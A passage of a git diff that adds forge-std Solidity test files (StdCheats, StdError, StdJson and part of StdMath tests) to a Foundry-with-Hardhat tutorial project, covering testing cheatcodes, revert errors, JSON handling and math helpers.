+        assertEq(modifiedChain.chainId, 999999999);
+        assertEq(modifiedChain.rpcUrl, 'https://modified.chain/');
+    }
+
+    function test_DontUseDefaultRpcUrl() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        // Should error if default RPCs flag is set to false.
+        stdChainsMock.exposed_setFallbackToDefaultRpcUrls(false);
+        vm.expectRevert();
+        stdChainsMock.exposed_getChain(31337);
+        vm.expectRevert();
+        stdChainsMock.exposed_getChain('sepolia');
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdCheats.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdCheats.t.sol
new file mode 100644
index 000000000..2a5565c5b
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdCheats.t.sol
@@ -0,0 +1,616 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/StdCheats.sol';
+import '../src/Test.sol';
+import '../src/StdJson.sol';
+import '../src/StdToml.sol';
+import '../src/interfaces/IERC20.sol';
+
+contract StdCheatsTest is Test {
+    Bar test;
+
+    using stdJson for string;
+
+    function setUp() public {
+        test = new Bar();
+    }
+
+    function test_Skip() public {
+        vm.warp(100);
+        skip(25);
+        assertEq(block.timestamp, 125);
+    }
+
+    function test_Rewind() public {
+        vm.warp(100);
+        rewind(25);
+        assertEq(block.timestamp, 75);
+    }
+
+    function test_Hoax() public {
+        hoax(address(1337));
+        test.bar{value: 100}(address(1337));
+    }
+
+    function test_HoaxOrigin() public {
+        hoax(address(1337), address(1337));
+        test.origin{value: 100}(address(1337));
+    }
+
+    function test_HoaxDifferentAddresses() public {
+        hoax(address(1337), address(7331));
+        test.origin{value: 100}(address(1337), address(7331));
+    }
+
+    function test_StartHoax() public {
+        startHoax(address(1337));
+        test.bar{value: 100}(address(1337));
+        test.bar{value: 100}(address(1337));
+        vm.stopPrank();
+        test.bar(address(this));
+    }
+
+    function test_StartHoaxOrigin() public {
+        startHoax(address(1337), address(1337));
+        test.origin{value: 100}(address(1337));
+        test.origin{value: 100}(address(1337));
+        vm.stopPrank();
+        test.bar(address(this));
+    }
+
+    function test_ChangePrankMsgSender() public {
+        vm.startPrank(address(1337));
+        test.bar(address(1337));
+        changePrank(address(0xdead));
+        test.bar(address(0xdead));
+        changePrank(address(1337));
+        test.bar(address(1337));
+        vm.stopPrank();
+    }
+
+    function test_ChangePrankMsgSenderAndTxOrigin() public {
+        vm.startPrank(address(1337), address(1338));
+        test.origin(address(1337), address(1338));
+        changePrank(address(0xdead), address(0xbeef));
+        test.origin(address(0xdead), address(0xbeef));
+        changePrank(address(1337), address(1338));
+        test.origin(address(1337), address(1338));
+        vm.stopPrank();
+    }
+
+    function test_MakeAccountEquivalence() public {
+        Account memory account = makeAccount('1337');
+        (address addr, uint256 key) = makeAddrAndKey('1337');
+        assertEq(account.addr, addr);
+        assertEq(account.key, key);
+    }
+
+    function test_MakeAddrEquivalence() public {
+        (address addr, ) = makeAddrAndKey('1337');
+        assertEq(makeAddr('1337'), addr);
+    }
+
+    function test_MakeAddrSigning() public {
+        (address addr, uint256 key) = makeAddrAndKey('1337');
+        bytes32 hash = keccak256('some_message');
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(key, hash);
+        assertEq(ecrecover(hash, v, r, s), addr);
+    }
+
+    function test_Deal() public {
+        deal(address(this), 1 ether);
+        assertEq(address(this).balance, 1 ether);
+    }
+
+    function test_DealToken() public {
+        Bar barToken = new Bar();
+        address bar = address(barToken);
+        deal(bar, address(this), 10000e18);
+        assertEq(barToken.balanceOf(address(this)), 10000e18);
+    }
+
+    function test_DealTokenAdjustTotalSupply() public {
+        Bar barToken = new Bar();
+        address bar = address(barToken);
+        deal(bar, address(this), 10000e18, true);
+        assertEq(barToken.balanceOf(address(this)), 10000e18);
+        assertEq(barToken.totalSupply(), 20000e18);
+        deal(bar, address(this), 0, true);
+        assertEq(barToken.balanceOf(address(this)), 0);
+        assertEq(barToken.totalSupply(), 10000e18);
+    }
+
+    function test_DealERC1155Token() public {
+        BarERC1155 barToken = new BarERC1155();
+        address bar = address(barToken);
+        dealERC1155(bar, address(this), 0, 10000e18, false);
+        assertEq(barToken.balanceOf(address(this), 0), 10000e18);
+    }
+
+    function test_DealERC1155TokenAdjustTotalSupply() public {
+        BarERC1155 barToken = new BarERC1155();
+        address bar = address(barToken);
+        dealERC1155(bar, address(this), 0, 10000e18, true);
+        assertEq(barToken.balanceOf(address(this), 0), 10000e18);
+        assertEq(barToken.totalSupply(0), 20000e18);
+        dealERC1155(bar, address(this), 0, 0, true);
+        assertEq(barToken.balanceOf(address(this), 0), 0);
+        assertEq(barToken.totalSupply(0), 10000e18);
+    }
+
+    function test_DealERC721Token() public {
+        BarERC721 barToken = new BarERC721();
+        address bar = address(barToken);
+        dealERC721(bar, address(2), 1);
+        assertEq(barToken.balanceOf(address(2)), 1);
+        assertEq(barToken.balanceOf(address(1)), 0);
+        dealERC721(bar, address(1), 2);
+        assertEq(barToken.balanceOf(address(1)), 1);
+        assertEq(barToken.balanceOf(bar), 1);
+    }
+
+    function test_DeployCode() public {
+        address deployed = deployCode('StdCheats.t.sol:Bar', bytes(''));
+        assertEq(string(getCode(deployed)), string(getCode(address(test))));
+    }
+
+    function test_DestroyAccount() public {
+        // deploy something to destroy it
+        BarERC721 barToken = new BarERC721();
+        address bar = address(barToken);
+        vm.setNonce(bar, 10);
+        deal(bar, 100);
+
+        uint256 prevThisBalance = address(this).balance;
+        uint256 size;
+        assembly {
+            size := extcodesize(bar)
+        }
+
+        assertGt(size, 0);
+        assertEq(bar.balance, 100);
+        assertEq(vm.getNonce(bar), 10);
+
+        destroyAccount(bar, address(this));
+        assembly {
+            size := extcodesize(bar)
+        }
+        assertEq(address(this).balance, prevThisBalance + 100);
+        assertEq(vm.getNonce(bar), 0);
+        assertEq(size, 0);
+        assertEq(bar.balance, 0);
+    }
+
+    function test_DeployCodeNoArgs() public {
+        address deployed = deployCode('StdCheats.t.sol:Bar');
+        assertEq(string(getCode(deployed)), string(getCode(address(test))));
+    }
+
+    function test_DeployCodeVal() public {
+        address deployed = deployCode('StdCheats.t.sol:Bar', bytes(''), 1 ether);
+        assertEq(string(getCode(deployed)), string(getCode(address(test))));
+        assertEq(deployed.balance, 1 ether);
+    }
+
+    function test_DeployCodeValNoArgs() public {
+        address deployed = deployCode('StdCheats.t.sol:Bar', 1 ether);
+        assertEq(string(getCode(deployed)), string(getCode(address(test))));
+        assertEq(deployed.balance, 1 ether);
+    }
+
+    // We need this so we can call "this.deployCode" rather than "deployCode" directly
+    function deployCodeHelper(string memory what) external {
+        deployCode(what);
+    }
+
+    function test_DeployCodeFail() public {
+        vm.expectRevert(bytes('StdCheats deployCode(string): Deployment failed.'));
+        this.deployCodeHelper('StdCheats.t.sol:RevertingContract');
+    }
+
+    function getCode(address who) internal view returns (bytes memory o_code) {
+        /// @solidity memory-safe-assembly
+        assembly {
+            // retrieve the size of the code, this needs assembly
+            let size := extcodesize(who)
+            // allocate output byte array - this could also be done without assembly
+            // by using o_code = new bytes(size)
+            o_code := mload(0x40)
+            // new "memory end" including padding
+            mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
+            // store length in memory
+            mstore(o_code, size)
+            // actually retrieve the code, this needs assembly
+            extcodecopy(who, add(o_code, 0x20), 0, size)
+        }
+    }
+
+    function test_DeriveRememberKey() public {
+        string memory mnemonic = 'test test test test test test test test test test test junk';
+
+        (address deployer, uint256 privateKey) = deriveRememberKey(mnemonic, 0);
+        assertEq(deployer, 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266);
+        assertEq(privateKey, 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80);
+    }
+
+    function test_BytesToUint() public pure {
+        assertEq(3, bytesToUint_test(hex'03'));
+        assertEq(2, bytesToUint_test(hex'02'));
+        assertEq(255, bytesToUint_test(hex'ff'));
+        assertEq(29625, bytesToUint_test(hex'73b9'));
+    }
+
+    function test_ParseJsonTxDetail() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        string memory json = vm.readFile(path);
+        bytes memory transactionDetails = json.parseRaw('.transactions[0].tx');
+        RawTx1559Detail memory rawTxDetail = abi.decode(transactionDetails, (RawTx1559Detail));
+        Tx1559Detail memory txDetail = rawToConvertedEIP1559Detail(rawTxDetail);
+        assertEq(txDetail.from, 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266);
+        assertEq(txDetail.to, 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512);
+        assertEq(
+            txDetail.data,
+            hex'23e99187000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000013370000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004'
+        );
+        assertEq(txDetail.nonce, 3);
+        assertEq(txDetail.txType, 2);
+        assertEq(txDetail.gas, 29625);
+        assertEq(txDetail.value, 0);
+    }
+
+    function test_ReadEIP1559Transaction() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        uint256 index = 0;
+        Tx1559 memory transaction = readTx1559(path, index);
+        transaction;
+    }
+
+    function test_ReadEIP1559Transactions() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        Tx1559[] memory transactions = readTx1559s(path);
+        transactions;
+    }
+
+    function test_ReadReceipt() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        uint256 index = 5;
+        Receipt memory receipt = readReceipt(path, index);
+        assertEq(
+            receipt.logsBloom,
+            hex'00000000000800000000000000000010000000000000000000000000000180000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100'
+        );
+    }
+
+    function test_ReadReceipts() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        Receipt[] memory receipts = readReceipts(path);
+        receipts;
+    }
+
+    function test_GasMeteringModifier() public {
+        uint256 gas_start_normal = gasleft();
+        addInLoop();
+        uint256 gas_used_normal = gas_start_normal - gasleft();
+
+        uint256 gas_start_single = gasleft();
+        addInLoopNoGas();
+        uint256 gas_used_single = gas_start_single - gasleft();
+
+        uint256 gas_start_double = gasleft();
+        addInLoopNoGasNoGas();
+        uint256 gas_used_double = gas_start_double - gasleft();
+
+        assertTrue(gas_used_double + gas_used_single < gas_used_normal);
+    }
+
+    function addInLoop() internal pure returns (uint256) {
+        uint256 b;
+        for (uint256 i; i < 10000; i++) {
+            b += i;
+        }
+        return b;
+    }
+
+    function addInLoopNoGas() internal noGasMetering returns (uint256) {
+        return addInLoop();
+    }
+
+    function addInLoopNoGasNoGas() internal noGasMetering returns (uint256) {
+        return addInLoopNoGas();
+    }
+
+    function bytesToUint_test(bytes memory b) private pure returns (uint256) {
+        uint256 number;
+        for (uint256 i = 0; i < b.length; i++) {
+            number = number + uint256(uint8(b[i])) * (2 ** (8 * (b.length - (i + 1))));
+        }
+        return number;
+    }
+
+    function testFuzz_AssumeAddressIsNot(address addr) external {
+        // skip over Payable and NonPayable enums
+        for (uint8 i = 2; i < uint8(type(AddressType).max); i++) {
+            assumeAddressIsNot(addr, AddressType(i));
+        }
+        assertTrue(addr != address(0));
+        assertTrue(addr < address(1) || addr > address(9));
+        assertTrue(addr != address(vm) || addr != 0x000000000000000000636F6e736F6c652e6c6f67);
+    }
+
+    function test_AssumePayable() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+
+        // all should revert since these addresses are not payable
+
+        // VM address
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumePayable(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
+
+        // Console address
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumePayable(0x000000000000000000636F6e736F6c652e6c6f67);
+
+        // Create2Deployer
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumePayable(0x4e59b44847b379578588920cA78FbF26c0B4956C);
+
+        // all should pass since these addresses are payable
+
+        // vitalik.eth
+        stdCheatsMock.exposed_assumePayable(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
+
+        // mock payable contract
+        MockContractPayable cp = new MockContractPayable();
+        stdCheatsMock.exposed_assumePayable(address(cp));
+    }
+
+    function test_AssumeNotPayable() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+
+        // all should pass since these addresses are not payable
+
+        // VM address
+        stdCheatsMock.exposed_assumeNotPayable(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
+
+        // Console address
+        stdCheatsMock.exposed_assumeNotPayable(0x000000000000000000636F6e736F6c652e6c6f67);
+
+        // Create2Deployer
+        stdCheatsMock.exposed_assumeNotPayable(0x4e59b44847b379578588920cA78FbF26c0B4956C);
+
+        // all should revert since these addresses are payable
+
+        // vitalik.eth
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumeNotPayable(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
+
+        // mock payable contract
+        MockContractPayable cp = new MockContractPayable();
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumeNotPayable(address(cp));
+    }
+
+    function testFuzz_AssumeNotPrecompile(address addr) external {
+        assumeNotPrecompile(addr, getChain('optimism_goerli').chainId);
+        assertTrue(
+            addr < address(1) ||
+                (addr > address(9) && addr < address(0x4200000000000000000000000000000000000000)) ||
+                addr > address(0x4200000000000000000000000000000000000800)
+        );
+    }
+
+    function testFuzz_AssumeNotForgeAddress(address addr) external pure {
+        assumeNotForgeAddress(addr);
+        assertTrue(addr != address(vm) && addr != 0x000000000000000000636F6e736F6c652e6c6f67 && addr != 0x4e59b44847b379578588920cA78FbF26c0B4956C);
+    }
+
+    function test_CannotDeployCodeTo() external {
+        vm.expectRevert('StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode.');
+        this._revertDeployCodeTo();
+    }
+
+    function _revertDeployCodeTo() external {
+        deployCodeTo('StdCheats.t.sol:RevertingContract', address(0));
+    }
+
+    function test_DeployCodeTo() external {
+        address arbitraryAddress = makeAddr('arbitraryAddress');
+
+        deployCodeTo(
+            'StdCheats.t.sol:MockContractWithConstructorArgs',
+            abi.encode(uint256(6), true, bytes20(arbitraryAddress)),
+            1 ether,
+            arbitraryAddress
+        );
+
+        MockContractWithConstructorArgs ct = MockContractWithConstructorArgs(arbitraryAddress);
+
+        assertEq(arbitraryAddress.balance, 1 ether);
+        assertEq(ct.x(), 6);
+        assertTrue(ct.y());
+        assertEq(ct.z(), bytes20(arbitraryAddress));
+    }
+}
+
+contract StdCheatsMock is StdCheats {
+    function exposed_assumePayable(address addr) external {
+        assumePayable(addr);
+    }
+
+    function exposed_assumeNotPayable(address addr) external {
+        assumeNotPayable(addr);
+    }
+
+    // We deploy a mock version so we can properly test expected reverts.
+    function exposed_assumeNotBlacklisted(address token, address addr) external view {
+        return assumeNotBlacklisted(token, addr);
+    }
+}
+
+contract StdCheatsForkTest is Test {
+    address internal constant SHIB = 0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE;
+    address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
+    address internal constant USDC_BLACKLISTED_USER = 0x1E34A77868E19A6647b1f2F47B51ed72dEDE95DD;
+    address internal constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
+    address internal constant USDT_BLACKLISTED_USER = 0x8f8a8F4B54a2aAC7799d7bc81368aC27b852822A;
+
+    function setUp() public {
+        // All tests of the `assumeNotBlacklisted` method are fork tests using live contracts.
+        vm.createSelectFork({urlOrAlias: 'mainnet', blockNumber: 16_428_900});
+    }
+
+    function test_CannotAssumeNoBlacklisted_EOA() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+        address eoa = vm.addr({privateKey: 1});
+        vm.expectRevert('StdCheats assumeNotBlacklisted(address,address): Token address is not a contract.');
+        stdCheatsMock.exposed_assumeNotBlacklisted(eoa, address(0));
+    }
+
+    function testFuzz_AssumeNotBlacklisted_TokenWithoutBlacklist(address addr) external view {
+        assumeNotBlacklisted(SHIB, addr);
+        assertTrue(true);
+    }
+
+    function test_AssumeNoBlacklisted_USDC() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumeNotBlacklisted(USDC, USDC_BLACKLISTED_USER);
+    }
+
+    function testFuzz_AssumeNotBlacklisted_USDC(address addr) external view {
+        assumeNotBlacklisted(USDC, addr);
+        assertFalse(USDCLike(USDC).isBlacklisted(addr));
+    }
+
+    function test_AssumeNoBlacklisted_USDT() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumeNotBlacklisted(USDT, USDT_BLACKLISTED_USER);
+    }
+
+    function testFuzz_AssumeNotBlacklisted_USDT(address addr) external view {
+        assumeNotBlacklisted(USDT, addr);
+        assertFalse(USDTLike(USDT).isBlackListed(addr));
+    }
+
+    function test_dealUSDC() external {
+        // roll fork to the point when USDC contract updated to store balance in packed slots
+        vm.rollFork(19279215);
+
+        uint256 balance = 100e6;
+        deal(USDC, address(this), balance);
+        assertEq(IERC20(USDC).balanceOf(address(this)), balance);
+    }
+}
+
+contract Bar {
+    constructor() payable {
+        /// `DEAL` STDCHEAT
+        totalSupply = 10000e18;
+        balanceOf[address(this)] = totalSupply;
+    }
+
+    /// `HOAX` and `CHANGEPRANK` STDCHEATS
+    function bar(address expectedSender) public payable {
+        require(msg.sender == expectedSender, '!prank');
+    }
+
+    function origin(address expectedSender) public payable {
+        require(msg.sender == expectedSender, '!prank');
+        require(tx.origin == expectedSender, '!prank');
+    }
+
+    function origin(address expectedSender, address expectedOrigin) public payable {
+        require(msg.sender == expectedSender, '!prank');
+        require(tx.origin == expectedOrigin, '!prank');
+    }
+
+    /// `DEAL` STDCHEAT
+    mapping(address => uint256) public balanceOf;
+    uint256 public totalSupply;
+}
+
+contract BarERC1155 {
+    constructor() payable {
+        /// `DEALERC1155` STDCHEAT
+        _totalSupply[0] = 10000e18;
+        _balances[0][address(this)] = _totalSupply[0];
+    }
+
+    function balanceOf(address account, uint256 id) public view virtual returns (uint256) {
+        return _balances[id][account];
+    }
+
+    function totalSupply(uint256 id) public view virtual returns (uint256) {
+        return _totalSupply[id];
+    }
+
+    /// `DEALERC1155` STDCHEAT
+    mapping(uint256 => mapping(address => uint256)) private _balances;
+    mapping(uint256 => uint256) private _totalSupply;
+}
+
+contract BarERC721 {
+    constructor() payable {
+        /// `DEALERC721` STDCHEAT
+        _owners[1] = address(1);
+        _balances[address(1)] = 1;
+        _owners[2] = address(this);
+        _owners[3] = address(this);
+        _balances[address(this)] = 2;
+    }
+
+    function balanceOf(address owner) public view virtual returns (uint256) {
+        return _balances[owner];
+    }
+
+    function ownerOf(uint256 tokenId) public view virtual returns (address) {
+        address owner = _owners[tokenId];
+        return owner;
+    }
+
+    mapping(uint256 => address) private _owners;
+    mapping(address => uint256) private _balances;
+}
+
+interface USDCLike {
+    function isBlacklisted(address) external view returns (bool);
+}
+
+interface USDTLike {
+    function isBlackListed(address) external view returns (bool);
+}
+
+contract RevertingContract {
+    constructor() {
+        revert();
+    }
+}
+
+contract MockContractWithConstructorArgs {
+    uint256 public immutable x;
+    bool public y;
+    bytes20 public z;
+
+    constructor(uint256 _x, bool _y, bytes20 _z) payable {
+        x = _x;
+        y = _y;
+        z = _z;
+    }
+}
+
+contract MockContractPayable {
+    receive() external payable {}
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdError.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdError.t.sol
new file mode 100644
index 000000000..e88deacbc
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdError.t.sol
@@ -0,0 +1,120 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.8.0 <0.9.0;
+
+import '../src/StdError.sol';
+import '../src/Test.sol';
+
+contract StdErrorsTest is Test {
+    ErrorsTest test;
+
+    function setUp() public {
+        test = new ErrorsTest();
+    }
+
+    function test_ExpectAssertion() public {
+        vm.expectRevert(stdError.assertionError);
+        test.assertionError();
+    }
+
+    function test_ExpectArithmetic() public {
+        vm.expectRevert(stdError.arithmeticError);
+        test.arithmeticError(10);
+    }
+
+    function test_ExpectDiv() public {
+        vm.expectRevert(stdError.divisionError);
+        test.divError(0);
+    }
+
+    function test_ExpectMod() public {
+        vm.expectRevert(stdError.divisionError);
+        test.modError(0);
+    }
+
+    function test_ExpectEnum() public {
+        vm.expectRevert(stdError.enumConversionError);
+        test.enumConversion(1);
+    }
+
+    function test_ExpectEncodeStg() public {
+        vm.expectRevert(stdError.encodeStorageError);
+        test.encodeStgError();
+    }
+
+    function test_ExpectPop() public {
+        vm.expectRevert(stdError.popError);
+        test.pop();
+    }
+
+    function test_ExpectOOB() public {
+        vm.expectRevert(stdError.indexOOBError);
+        test.indexOOBError(1);
+    }
+
+    function test_ExpectMem() public {
+        vm.expectRevert(stdError.memOverflowError);
+        test.mem();
+    }
+
+    function test_ExpectIntern() public {
+        vm.expectRevert(stdError.zeroVarError);
+        test.intern();
+    }
+}
+
+contract ErrorsTest {
+    enum T {
+        T1
+    }
+
+    uint256[] public someArr;
+    bytes someBytes;
+
+    function assertionError() public pure {
+        assert(false);
+    }
+
+    function arithmeticError(uint256 a) public pure {
+        a -= 100;
+    }
+
+    function divError(uint256 a) public pure {
+        100 / a;
+    }
+
+    function modError(uint256 a) public pure {
+        100 % a;
+    }
+
+    function enumConversion(uint256 a) public pure {
+        T(a);
+    }
+
+    function encodeStgError() public {
+        /// @solidity memory-safe-assembly
+        assembly {
+            sstore(someBytes.slot, 1)
+        }
+        keccak256(someBytes);
+    }
+
+    function pop() public {
+        someArr.pop();
+    }
+
+    function indexOOBError(uint256 a) public pure {
+        uint256[] memory t = new uint256[](0);
+        t[a];
+    }
+
+    function mem() public pure {
+        uint256 l = 2 ** 256 / 32;
+        new uint256[](l);
+    }
+
+    function intern() public returns (uint256) {
+        function(uint256) internal returns (uint256) x;
+        x(2);
+        return 7;
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdJson.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdJson.t.sol
new file mode 100644
index 000000000..7535514c4
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdJson.t.sol
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdJsonTest is Test {
+    using stdJson for string;
+
+    string root;
+    string path;
+
+    function setUp() public {
+        root = vm.projectRoot();
+        path = string.concat(root, '/test/fixtures/test.json');
+    }
+
+    struct SimpleJson {
+        uint256 a;
+        string b;
+    }
+
+    struct NestedJson {
+        uint256 a;
+        string b;
+        SimpleJson c;
+    }
+
+    function test_readJson() public view {
+        string memory json = vm.readFile(path);
+        assertEq(json.readUint('.a'), 123);
+    }
+
+    function test_writeJson() public {
+        string memory json = 'json';
+        json.serialize('a', uint256(123));
+        string memory semiFinal = json.serialize('b', string('test'));
+        string memory finalJson = json.serialize('c', semiFinal);
+        finalJson.write(path);
+
+        string memory json_ = vm.readFile(path);
+        bytes memory data = json_.parseRaw('$');
+        NestedJson memory decodedData = abi.decode(data, (NestedJson));
+
+        assertEq(decodedData.a, 123);
+        assertEq(decodedData.b, 'test');
+        assertEq(decodedData.c.a, 123);
+        assertEq(decodedData.c.b, 'test');
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdMath.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdMath.t.sol
new file mode 100644
index 000000000..63b482b17
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdMath.t.sol
@@ -0,0 +1,212 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.8.0 <0.9.0;
+
+import '../src/StdMath.sol';
+import '../src/Test.sol';
+
+contract StdMathMock is Test {
+    function exposed_percentDelta(uint256 a, uint256 b) public pure returns (uint256) {
+        return stdMath.percentDelta(a, b);
+    }
+
+    function exposed_percentDelta(int256 a, int256 b) public pure returns (uint256) {
+        return stdMath.percentDelta(a, b);
+    }
+}
+
+contract StdMathTest is Test {
+    function test_GetAbs() external pure {
+        assertEq(stdMath.abs(-50), 50);
+        assertEq(stdMath.abs(50), 50);
+        assertEq(stdMath.abs(-1337), 1337);
+        assertEq(stdMath.abs(0), 0);
+
+        assertEq(stdMath.abs(type(int256).min), (type(uint256).max >> 1) + 1);
+        assertEq(stdMath.abs(type(int256).max), (type(uint256).max >> 1));
+    }
+
+    function testFuzz_GetAbs(int256 a) external pure {
+        uint256 manualAbs = getAbs(a);
+
+        uint256 abs = stdMath.abs(a);
+
+        assertEq(abs, manualAbs);
+    }
+
+    function test_GetDelta_Uint() external pure {
+        assertEq(stdMath.delta(uint256(0), uint256(0)), 0);
+        assertEq(stdMath.delta(uint256(0), uint256(1337)), 1337);
+        assertEq(stdMath.delta(uint256(0), type(uint64).max), type(uint64).max);
+        assertEq(stdMath.delta(uint256(0), type(uint128).max), type(uint128).max);
+        assertEq(stdMath.delta(uint256(0), type(uint256).max), type(uint256).max);
+
+        assertEq(stdMath.delta(0, uint256(0)), 0);
+        assertEq(stdMath.delta(1337, uint256(0)), 1337);
+        assertEq(stdMath.delta(type(uint64).max, uint256(0)), type(uint64).max);
+        assertEq(stdMath.delta(type(uint128).max, uint256(0)), type(uint128).max);
+        assertEq(stdMath.delta(type(uint256).max, uint256(0)), type(uint256).max);
+
+        assertEq(stdMath.delta(1337, uint256(1337)), 0);
+        assertEq(stdMath.delta(type(uint256).max, type(uint256).max), 0);
+        assertEq(stdMath.delta(5000, uint256(1250)), 3750);
+    }
+
+    function testFuzz_GetDelta_Uint(uint256 a, uint256 b) external pure {
+        uint256 manualDelta;
+        if (a > b) {
+            manualDelta = a - b;
+        } else {
+            manualDelta = b - a;
+        }
+
+        uint256 delta = stdMath.delta(a, b);
+
+        assertEq(delta, manualDelta);
+    }
+
+    function test_GetDelta_Int() external pure {
+        assertEq(stdMath.delta(int256(0), int256(0)), 0);
+        assertEq(stdMath.delta(int256(0), int256(1337)), 1337);
+        assertEq(stdMath.delta(int256(0), type(int64).max), type(uint64).max >> 1);
+        assertEq(stdMath.delta(int256(0), type(int128).max), type(uint128).max >> 1);
+        assertEq(stdMath.delta(int256(0), type(int256).max), type(uint256).max >> 1);
+
+        assertEq(stdMath.delta(0, int256(0)), 0);
+        assertEq(stdMath.delta(1337, int256(0)), 1337);
+        assertEq(stdMath.delta(type(int64).max, int256(0)), type(uint64).max >> 1);
+        assertEq(stdMath.delta(type(int128).max, int256(0)), type(uint128).max >> 1);
+        assertEq(stdMath.delta(type(int256).max, int256(0)), type(uint256).max >> 1);
+
+        assertEq(stdMath.delta(-0, int256(0)), 0);
+        assertEq(stdMath.delta(-1337, int256(0)), 1337);
+        assertEq(stdMath.delta(type(int64).min, int256(0)), (type(uint64).max >> 1) + 1);
+        assertEq(stdMath.delta(type(int128).min, int256(0)), (type(uint128).max >> 1) + 1);
+        assertEq(stdMath.delta(type(int256).min, int256(0)), (type(uint256).max >> 1) + 1);
+
+        assertEq(stdMath.delta(int256(0), -0), 0);
+        assertEq(stdMath.delta(int256(0), -1337), 1337);
+        assertEq(stdMath.delta(int256(0), type(int64).min), (type(uint64).max >> 1) + 1);
+        assertEq(stdMath.delta(int256(0), type(int128).min), (type(uint128).max >> 1) + 1);
+        assertEq(stdMath.delta(int256(0), type(int256).min), (type(uint256).max >> 1) + 1);
+
+        assertEq(stdMath.delta(1337, int256(1337)), 0);
+        assertEq(stdMath.delta(type(int256).max, type(int256).max), 0);
+        assertEq(stdMath.delta(type(int256).min, type(int256).min), 0);
+        assertEq(stdMath.delta(type(int256).min, type(int256).max), type(uint256).max);
+        assertEq(stdMath.delta(5000, int256(1250)), 3750);
+    }
+
+    function testFuzz_GetDelta_Int(int256 a, int256 b) external pure {
+        uint256 absA = getAbs(a);
+        uint256 absB = getAbs(b);
+        uint256 absDelta = absA > absB ? absA - absB : absB - absA;
+
+        uint256 manualDelta;
+        if ((a >= 0 && b >= 0) || (a < 0 && b < 0)) {
+            manualDelta = absDelta;
+        }
+        // (a < 0 && b >= 0) || (a >= 0 && b < 0)
+        else {
+            manualDelta = absA + absB;
+        }
+
+        uint256 delta = stdMath.delta(a, b);
+
+        assertEq(delta, manualDelta);
+    }
+
+    function test_GetPercentDelta_Uint() external {
+        StdMathMock stdMathMock = new StdMathMock();
+
+        assertEq(stdMath.percentDelta(uint256(0), uint256(1337)), 1e18);
+        assertEq(stdMath.percentDelta(uint256(0), type(uint64).max), 1e18);
+        assertEq(stdMath.percentDelta(uint256(0), type(uint128).max), 1e18);
+        assertEq(stdMath.percentDelta(uint256(0), type(uint192).max), 1e18);
+
+        assertEq(stdMath.percentDelta(1337, uint256(1337)), 0);
